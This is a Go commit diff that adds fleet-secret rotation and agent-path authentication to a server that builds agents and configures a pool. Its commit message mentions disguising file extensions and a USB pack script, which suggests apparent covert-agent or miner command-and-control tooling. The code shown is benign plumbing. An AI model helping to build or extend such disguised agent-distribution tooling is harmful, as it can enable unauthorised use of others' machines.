feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired

server/main.go

@@ -86,6 +86,7 @@ func main() {
 	wsHub := api.NewWSHub(database)
 	wsHub.SetAIHandler(aiHandler)
 	wsHub.SetFleetSecret(cfg.Server.FleetSecret)
+	api.SetAgentPathSecret(cfg.Server.FleetSecret)
 	aiHandler.SetEventBroadcaster(func(entry api.AIActivityEntry) {
 		wsHub.BroadcastAIActivity(entry)
 	})
@@ -101,6 +102,24 @@ func main() {
 	builderHandler.SetFleetSecret(cfg.Server.FleetSecret)
 	log.Printf("Builder handler initialized (agent source: %s)", agentSrcDir)
 
+	// Wire fleet secret rotation — now that both wsHub and builderHandler are ready.
+	api.SetRotateSecretFn(func() (string, error) {
+		b := make([]byte, 32)
+		if _, err := rand.Read(b); err != nil {
+			return "", err
+		}
+		newSecret := hex.EncodeToString(b)
+		cfg.Server.FleetSecret = newSecret
+		if err := cfg.Save(); err != nil {
+			return "", err
+		}
+		wsHub.SetFleetSecret(newSecret)
+		builderHandler.SetFleetSecret(newSecret)
+		api.SetAgentPathSecret(newSecret)
+		log.Printf("[auth] Fleet secret rotated (new prefix: %s...)", newSecret[:8])
+		return newSecret, nil
+	})
+
 	defaultPoolCfg := pool.Config{
 		Host:     cfg.Pool.Host,
 		Port:     cfg.Pool.Port,